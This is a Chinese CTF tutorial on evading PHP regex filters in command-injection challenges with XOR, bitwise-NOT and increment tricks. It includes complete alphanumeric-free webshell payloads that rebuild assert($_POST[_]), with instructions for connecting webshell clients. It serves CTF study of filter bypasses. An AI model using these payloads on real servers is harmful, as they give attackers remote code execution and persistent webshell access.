命令执行中关于PHP正则表达式的一些绕过方法
最近做了buuctf上的[极客大挑战 2019]RCE ME,PHP正则的一些绕过方法也终于要用上了,原文地址:https://blog.csdn.net/mochu7777777/article/details/104631142
参考:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://mp.weixin.qq.com/s/fCxs4hAVpa-sF4tdT_W8-w
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.cnblogs.com/cimuhuashuimu/p/11546422.html
异或绕过
在PHP中两个字符串异或之后,得到的还是一个字符串。如果正则过滤了一些字符串,那就可以使用两个不在正则匹配范围内的字符串进行异或得到我们想要的字符串。
例如:我们异或 ‘?’ 和 ‘~’ 之后得到的是 ‘A’
原理:
字符:? ASCII码:63 二进制: 0011 1111
字符:~ ASCII码:126 二进制: 0111 1110
异或规则:
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
1 XOR 1 = 0
上述两个字符异或得到 二进制: 0100 0001
该二进制的十进制也就是:65
对应的ASCII码是:A
几个位运算符:
可以把1理解为真,0理解为假;那么就可以把“&”理解为“与”,“|”理解为“或”;**而对于“^”则是相同为就0**,不同就为1。“~”为取反操作。
两个字符异或可以得到一个字符,下一个问题就是如何控制得到我们想要的字符
看一道例题:
当然这里直接传入数组就能绕过。
这里的正则过滤了所有26个字母大小写,如果我想要传入一个 eval($_POST[ _ ]);
就需要异或得到这个eval($_POST[ _ ]);
字符串
那么如何知道哪两个字符异或可以得到我们想要的字符,就比如如何得到第一个字符 e
笔者这里使用python脚本fuzz测试了一下,脚本如下:
def r_xor():
for i in range(0,127):
for j in range(0,127):
result=i^j
print(" "+chr(i)+" ASCII:"+str(i)+' <--xor--> '+chr(j)+" ASCII:"+str(j)+' == '+chr(result)+" ASCII:"+str(result))
if __name__ == "__main__":
r_xor()
脚本运行部分结果如下:
这样就可以知道我们想要的字符的对应哪两个字符异或,只需要找到正则里没有过滤的字符异或得到我们想要的字符
接着看一下PHITHON师傅的一个payload
看到代码中的下划线“_”、“__”、“___”
是一个变量,因为preg_match()过滤了所有的字母,我们只能用下划线来作变量名。
这里PHITHON师傅使用的是 assert($_POST[ _ ])
在PHP5当中assert()的作用和eval()相似都是执行,但是eval是因为是一个语言构造器而不是一个函数,不能被可变函数调用,所以这种拼接的方法只能用assert而不能用eval。只不过eval()只执行符合php编码规范的代码,PHITHON师傅这里还有就是使用 变量 进行payload拼接,拼接起来payload如下:
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
这里传入了shell=assert($_POST[ _ ])
,由于”_”不受限制就可以任意传值了。(这里有一个误区,就是仅传入shell=$_POST[ _ ]
,这样的确最终代码是eval($_POST[ _ ])
了,但当外面的eval执行了之后,就仅剩下一个$_POST[ _ ]
了,所以不行。
因为有很多不可打印字符,所以使用url编码表示
然后只需要在POST里面传参
_=phpinfo(); //代码执行
也可以连蚁剑或菜刀了,密码为下划线_
这个payload经测试PHP 7.0.12及以下版本可以使用,碰到更高的版本可能assert()不能使用了,可以换成eval()
在别的地方还看到一位师傅的绕过手法
payload:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
1
解释一下这个师傅的绕过手法:
即:
${_GET}{%ff}();&%ff=phpinfo
//?shell=${_GET}{%ff}();&%ff=phpinfo
任何字符与0xff异或都会取相反,这样就能减少运算量了。
注意:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用{}代替,原因是php的use of undefined constant特性,例如${_GET}{a}
这样的语句php是不会判为错误的,因为{}使用来 界定变量 的,这句话就是会将_GET自动看为字符串,也就是$_GET['a']
取反绕过
首先是PHITHON师傅的汉字和取反绕过
注意:上面的那种写法只能在PHP7里面正常测试,PHP5会报错
笔者本地PHP5测试:
只能直接利用这里P师傅的payload:
$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);
1
传payload的时候进行一次URL编码。然后传入POST传参:2=phpinfo
也是PHP 7.0.12及以下版本有效,估计还是assert()的问题
取反中文字符fuzz的PHP脚本
<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
function str_split_unicode($str, $l = 0) {
if ($l > 0) {
$ret = array();
$len = mb_strlen($str, "UTF-8");
for ($i = 0; $i < $len; $i += $l) {
$ret[] = mb_substr($str, $i, $l, "UTF-8");
}
return $ret;
}
return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}
$s = '当我站在山顶上俯瞰半个鼓浪屿和整个厦门的夜空的时候,我知道此次出行的目的已经完成了,我要开始收拾行李,明天早上离开这里。前几天有人问我,大学四年结束了,你也不说点什么?乌云发生了一些事情,所有人都缄默不言,你也是一样吗?你逃到南方,难道不回家了吗?当然要回家,我只是想找到我要找的答案。其实这次出来一趟很累,晚上几乎是热汗淋漓回到住处,马,追回十年前姑娘”。后来,感觉一切都步入正轨,学位证也顺利拿到,我匆匆告别了自己的大学。后来也遇到了很多事,事后有人找我,很多人关心你,少数人可能不是,但出了学校以后,又有多少人和事情完全没有目的呢?我也考虑了很多去处,但一直没有决断,倒有念怀旧主,也有妄自菲薄之意,我希望自己能做出点成绩再去谈其他的,所以很久都是闭门不出,琢磨东西。来到厦门,我还了一个愿,又许了新的愿望,希望我还会再次来还愿。我又来到了上次没住够的鼓浪屿,订了一间安静的房子,只有我一个人。在这里,能听到的只有远处屋檐下鸟儿叽叽喳喳的鸣叫声,远处的喧嚣早已烟消云散,即使这只是暂时的。站在屋顶的我,喝下杯中最后一口水。清晨,背着行李,我乘轮渡离开了鼓浪屿,这是我第二次来鼓浪屿,谁知道会不会是最后一次。我在这里住了三天,用三天去寻找了一个答案。不知不觉我又想到辜鸿铭与沈子培的那段对话。“大难临头,何以为之?”“世受国恩,死生系之';
$arr_str=str_split_unicode($s);
for ($i=0; $i < strlen($s) ; $i++) {
echo $arr_str[$i].'-->'.~$arr_str[$i]{1}.'<br>';
}
?>
URL编码取反绕过(最简单的)
注意: 该方法只适用于PHP7
对想要传入的参数,先进行URL解码再取反
例如传入构造一个phpinfo();(生成payload的时候先取反再URL编码)
因为没有过滤 (),所以只需要取反编码phpinfo就行。
phpinfo()是没有参数的,如果需要执行有参数的函数,比如system(“whoami”);
递增递减运算符绕过
这里笔者就没什么补充的了,直接搬运P师傅的吧
也就是说,‘a’++ => ‘b’,‘b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串’a’的变量呢?
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接 数组 和 字符串 的话,数组将被转换成字符串,其值为Array:
再取这个字符串的第一个字母,就可以获得’A’了。
利用这个技巧,编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($POST[ _ ]),无需获取小写a):
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
利用payload:
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
注意最后传入的时候记得URL编码一次
密码是_
,POST传入 _=phpinfo(); //代码执行即可
另外这里利用版本也是PHP 7.0.12及以下版本,估计还是assert()到PHP7改了的问题,
这种方法的缺点就是:需要大量的字符。
也只能当作CTF中一种奇淫技巧,实际环境中,像D盾这样的检测工具,这样的payload符号熵值太大,一看就有问题,当然正常代码也怎么可能不包括字母数字,玩玩就好